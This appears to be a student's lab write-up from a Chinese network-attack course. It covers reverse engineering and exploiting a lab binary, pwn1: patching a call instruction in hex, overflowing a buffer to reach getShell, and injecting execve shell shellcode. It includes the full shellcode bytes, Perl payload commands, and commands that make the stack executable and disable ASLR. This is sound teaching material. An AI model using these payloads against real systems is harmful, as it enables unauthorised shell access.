2018-2019 2 20165203 《网络对抗技术》 Exp1 PC平台逆向破解

实验要求

1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

2.掌握反汇编与十六进制编程器

3.能正确修改机器指令改变程序执行流程

4.能正确构造payload进行bof攻击

实验内容

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

  • 注入一个自己制作的shellcode并运行这段shellcode

预备知识

  • 熟悉Linux基本操作
  • 理解常用指令,如管道(|),输入、输出重定向(>)等
  • 理解Bof的原理
  • 理解汇编、机器指令、EIP、指令地址
  • 会使用gdb,vi等基本指令

实验步骤

本次实验,我们需要用到一个名为pwn1的可执行文件,有的同学可能第一反应是文件中的内容是乱码。这是为什么呢?我们知道,计算机中信息=位+上下文,可执行文件的内容是计算机可以直接识别的语言,自然,用户就不一定能够认识了。

那么文件中究竟是什么内容呢?我们可以通过反汇编来查看,稍后具体操作,该文件中的程序正常的执行流程是:main执行foo函数,foo函数会简单回显任何用户输入的字符串。该程序的另一个子函数为getshell,顾名思义,它的功能是返回一个终端shell,但是依据程序,这个函数是不会运行的。我们本次实验的目标就是想办法运行这个代码片段。在这里有2种方法,3种实践内容。方法有二,其一,想办法运行代码片段,其二,就是注入运行shellcode。 所以,本次实验的目标就是

- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段```shellcode```。

实践一 直接修改程序机器指令,改变程序执行流程

  • 将pwn1文件移到PC的共享文件夹里,然后去Kali的/mnt/hgfs下将pwn_1文件复制到自己的实验文件夹中。

  • 下载好后,我们利用反汇编指令objdump -d 20165203_pwn1指令反汇编可执行文件,由此我们可以查看文件的汇编语言。

  • 通过汇编指令我们可以观察到地址为80484b5处的指令call 8048491 <foo>。我们可以分析一下:

    • 该指令的意思是调用地址为0x8048491处的foo函数。它对应的机器指令为(看汇编指令前面的机器指令)e8 d7fffffff, e8就是call的机器指令,跳转的意思。
    • 我们可以分析,eip寄存器中存放的是下一步要执行指令的,在本程序中就是80484ba,但是d7又是怎么来的呢?我们需要找到eip中的80484ba和d7还有8048491之间的关系,以便修改代码。我们可以发现:d7ffffff是一个补码,为41=0x29,而80484ba + d7ffffff = 80484ba - 0x29就是8048491这个值。
    • 由此,我们可以得出:
      • 只需要在源机器代码中修改e8 d7ffffff中的d7ffffff为804847d(getshell的地址)- 8048ba的补码就可以了。
      • 我们还可以借助Windows自带的计算器来计算为c3ffffff,如图所示

经过以上的分析,我们的目的就是修改文件中call指令后面的地址中的d7ffffff为c3ffffff,目的清晰,实验的步骤也就清晰多了。

  • vim 20165203_pwn1,打开可执行文件。

  • Esc键 -> :%!xxd切换到16进制模式,如图所示。

  • 查找修改的内容。

  • 确认位置是正确的后,按i进入编辑模式,修改d7为c3

  • :%!xxd -r切换到16进制模式。
  • :wq保存并退出。
  • 再反汇编一下,看看call后面的地址是否是我们所预想的那样呢?

  • 输入./20165203_pwn1运行修改后的代码,就得到了shell终端。

实践二 构造输入参数,造成BOF攻击,改变程序执行流

  • 用反汇编命令objdump -d 20165203_pwn2

  • 我们可以观察到,可执行文件所调用的函数foo有Buffer overflow漏洞。
  • 我们知道,调用函数通过堆栈来进行,我们了解堆栈的结构,当我们调用函数时,函数foo 804849a处的mov语句会读入字符串,读入的数据会超出系统保留的缓冲区,超出的部分会溢出覆盖返回地址,如图分析所示。

  • 我们可以利用这一点,将返回地址覆盖成80484ae。
  • 由此,我们的目标就明确了: 利用函数main中的call调用函数foo这一特点,在堆栈上压返回地址值:80484ae。
  • 可是问题又来了。

缓冲区的大小是多少呢?输入数据的哪些部分会覆盖返回地址呢?

如图所示,通过观察foo函数中红色框框内的指令,我们可以看到esp寄存器空出了0x38大小的位置,而eax寄存器又占到了0x1c大小的位置,ebp的大小为4个字节,所以,缓冲区的小小为0x38-0x1c+4为32字节。

  • 我们可以尝试输入字符串111111112222222233333333444444441234,如图所示。

  • 我们可以看到1234覆盖到了返回地址,我们只要把这四个字替换为getshell的地址,就OK了。

覆盖值的字节序是什么样的?如何构造覆盖值?

  • 在call命令处设置断点,对比eip处的数据,输入1234,出来却是4321.我们可以确定是11111111222222223333333344444444\x7d\x84\x04\x08。

  • 因为输入的阿拉伯数字进到寄存器就变为ASCII码,所以,我们没办法输入x7d这样的16进值,我们需要构造字符串文件,使ASCII码为我们想输入的16进值。利用Perl
  • 输入xxd input查看input文件的内容。

  • 将input的输入通过管道作为可执行文件20165203——pwn2的输入。我们发现,实验成功。

实践三 注入Shellcode并执行

  • 我们要知道,shellcode就是一段机器指令。
  • 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。

    在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
  • 具体可以参考Shellcode入门
  • 这次实践的目的就是注入一段shellcode,运行起来,自然也就达到了实验目的了。

准备工作

  • 使用apt-get install execstack命令安装execstack。
  • 修改以下设置
execstack -s pwn1    //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space // //查询是否关闭地址随机化
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化

如图所示

具体操作及分析

  • 我们选择用来攻击buf的结构为retaddr+nops+shellcode,我们需要在shellcode前填充nop的机器码90,最前面加上加上返回地址(先定义为\x4\x3\x2\x1),具体指令为perl -e 'print"\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode。

  • 我们来看一下\x4\x3\x2\x1部分要填什么。

    • 打开一个终端注入以下攻击buf:(cat input_shellcode;cat) | ./20165203_pwn3

  • 打开另一个终端来调试。
  • 用ps -ef | grep 20165203_pwn3来查看20165203_pwn3进程号。如图所示,进程号为5023。

  • 启动gdb, 输入attach 5023进行调试。

  • 用disassemblr foo反汇编,通过设置断点,查看注入buf的内存地址。

  • 使用break *0x080484ae设置断点,输入c命令运行,通过在20165203_pwn3进程正在运行的终端敲回车,使其继续执行。再返回调试端,使用info r esp命令查找地址。

  • 使用x/16x 0xffffd3ec查看esp寄存器中的存放内容,我们可以看到01020304,就是返回地址的位置。而根据我们构造的input_shellcode(攻击buf的结构)可知,shellcode就在其后,所以地址是 0xffffd3ec+0x04为0xffffd3f0。

  • 接下来将之前的\x4\x3\x2\x1改为这个地址即可, 需要使用命令perl -e 'print"\xf0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode。

  • 使用(cat input_shellcode;cat) | ./20165203_pwn3运行文件,攻击成功。

实验中出现的问题及解决方法

Q1:在查看进程号时,发现./20165203_pwn3的进程号不见了,只有ps -ef | grep 20165203_pwn3的进程号。

A1:自己在新的终端打开./20165203_pwn3时,多敲了一个回车,意味着进程执行完毕,自然就不会显示进程号了。所以,在打开./20165203_pwn3时,不要敲回车,在调试时敲回车使进程继续执行。

Q2:注入Shellcode,我们选择的是retaddr+nops+shellcode结构,还有其他的结构吗,我们为什么要选择上述结构呢?

A2:Linux下有两种基本构造攻击buf的方法:

  • retaddr+nop+shellcode
  • nop+shellcode+retaddr
  • 因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面,简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边

    我们这个buf足够大,够放这个shellcode了。这里选择结构nop+shellcode+retaddr nop一为是了填充,二是作为“着陆区/滑行区”

    我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。

实验小结

  • 实验感想:本次实验我们主要学习了缓冲区溢出与shellcode,这是自己第一次尝试攻击程序,修改程序的路径,感觉很有意思,当攻击成功后,那种内心的满足感和成就感油然而生。当然,这其中也参考了学长学姐之前的博客,自己把自己思考分析的过程详细整理了一下,希望自己在今后能学到更多关于网络对抗方面的知识。

  • 问题:什么是漏洞?漏洞有什么危害?

  1. 漏洞:在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。例如缓冲区溢出。
  2. 危害:黑客入侵、病毒入侵、数据丢失和篡改、隐私泄露乃至造成经济损失。

2018-2019 2 20165203 《网络对抗技术》 Exp1 PC平台逆向破解的更多相关文章

  1. 20155324《网络对抗》Exp1 PC平台逆向破解(5)M

    20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...

  2. 20155232《网络对抗》 Exp1 PC平台逆向破解(5)M

    20155232<网络对抗> Exp1 PC平台逆向破解(5)M 实验内容 (1).掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(1分) (2)掌握反汇编与十六进制编程 ...

  3. 20155227《网络对抗》Exp1 PC平台逆向破解(5)M

    20155227<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数 ...

  4. 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解

    2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...

  5. 20155208徐子涵 《网络对抗》Exp1 PC平台逆向破解

    20155208徐子涵 <网络对抗>Exp1 PC平台逆向破解 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数 ...

  6. 20145325张梓靖 《网络对抗技术》 PC平台逆向破解

    20145325张梓靖 <网络对抗技术> PC平台逆向破解 学习任务 shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并 ...

  7. # 《网络对抗》Exp1 PC平台逆向破解20155337祁家伟

    <网络对抗>Exp1 PC平台逆向破解20155337祁家伟 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会 ...

  8. 20145206邹京儒《网络对抗技术》 PC平台逆向破解

    20145206邹京儒<网络对抗技术> PC平台逆向破解 注入shellcode并执行 一.准备一段shellcode 二.设置环境 具体在终端中输入如下: apt-cache searc ...

  9. 20145331魏澍琛 《网络对抗技术》 PC平台逆向破解

    20145331魏澍琛 <网络对抗技术> PC平台逆向破解 学习任务 1.shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中 ...

  10. 20145336张子扬 《网络对抗技术》 PC平台逆向破解

    #20145336张子扬 <网络对抗技术> PC平台逆向破解 ##Shellcode注入 **基础知识** Shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对 ...

随机推荐

  1. idea中的常用快捷键

    idea中常用的快捷键以及一些奇淫技巧  ,  加快我们的开发效率 !!! 知道类名查找你本地以的类  (你pom中依赖的类+你自己创建的类)------------->    ctrl+shi ...

  2. CM记录-升级Spark版本到2.x(转载)

    ①csd包:http://archive.cloudera.com/spark2/csd/    下载SPARK2_ON_YARN-2.2.0.cloudera1.jar ②parcel包:http: ...

  3. IoC之Ninject

    一.Ninject安装 Ninject是一个轻量级的开源的DI容器,可以通过Nuget直接安装: 二.Ninject的简单使用 模型代码: //计算器接口 public interface ICalc ...

  4. Study 1 —— Python简介

    Python与其他语言的区别C\C++:学习成本高,学习周期长,偏系统底层,在开发硬件驱动.嵌入式.游戏引擎开发等领域有广泛的应用:JAVA:目前使用最广泛的编程语言,第一个跨平台运行的语言,在大型E ...

  5. VS Code调试Golang提示Failed to continue:Check the debug console for details.

    解决方法: 打开调试面板  VSCode->查看->调试 添加调试目标 在"没有调试"的下拉框中点击"添加配置.."添加目标调试配置 在" ...

  6. Thread的setDaemon(true)方法

    定义:守护线程--也称“服务线程”,在没有用户线程可服务时会自动离开.优先级:守护线程的优先级比较低,用于为系统中的其它对象和线程提供服务. 设置:通过setDaemon(true)来设置线程为“守护 ...

  7. 51nod1331 狭窄的通道

    题目传送门 这道题 51nod只Ac了十二个人 没有题解可以研究 所以就自己YY了半天 在这里先感谢一波岚清大爷 orz 然后这道题我分了两种情况 一种是左边的往左跑右边的往右跑 中间有一部分直接走不 ...

  8. JavaScript之Ajax(一)创建Ajax对象

    // 支持浏览器的源码 function AjaxObject() { var AjaxRequest; // 缓存XHR对象便于 Ajax 使用 try { // Opera 8.0+, Firef ...

  9. mvc,mvp.mvvm模型

    这些指的是框架模式,框架模式不是一门写代码的学问,而是一门管理与组织代码的学问.其本质是一种软件开发的模型. 与设计模式不同,设计模式是在解决一类问题时总结抽象出的公共方法(工厂模式,适配器模式,单例 ...

  10. centos6 python 安装 sqlite 解决 No module named ‘_sqlite3′

    原文连接: http://blog.csdn.net/jaket5219999/article/details/53512071 系统red hat6.7 也即centos6.7 python3.5. ...